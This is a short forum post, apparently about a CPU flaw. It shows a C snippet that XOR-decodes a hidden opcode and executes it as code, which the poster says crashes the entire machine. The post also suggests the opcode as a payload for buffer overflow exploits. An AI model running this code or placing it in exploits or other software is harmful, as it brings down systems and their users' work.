As I mentioned in another forum, NO, this is NOT useful.

    main() {
        static int code = 0x48478f70, xor = 0x80808080;
        code ^= xor;
        ((int (*)())&code)();
    }

On a side note:  this single-word opcode could be used in cases
where writing a buffer overflow exploit is hard.  Now instead of
just crashing the per-session server, or the entire server, you get to
crash the whole machine.
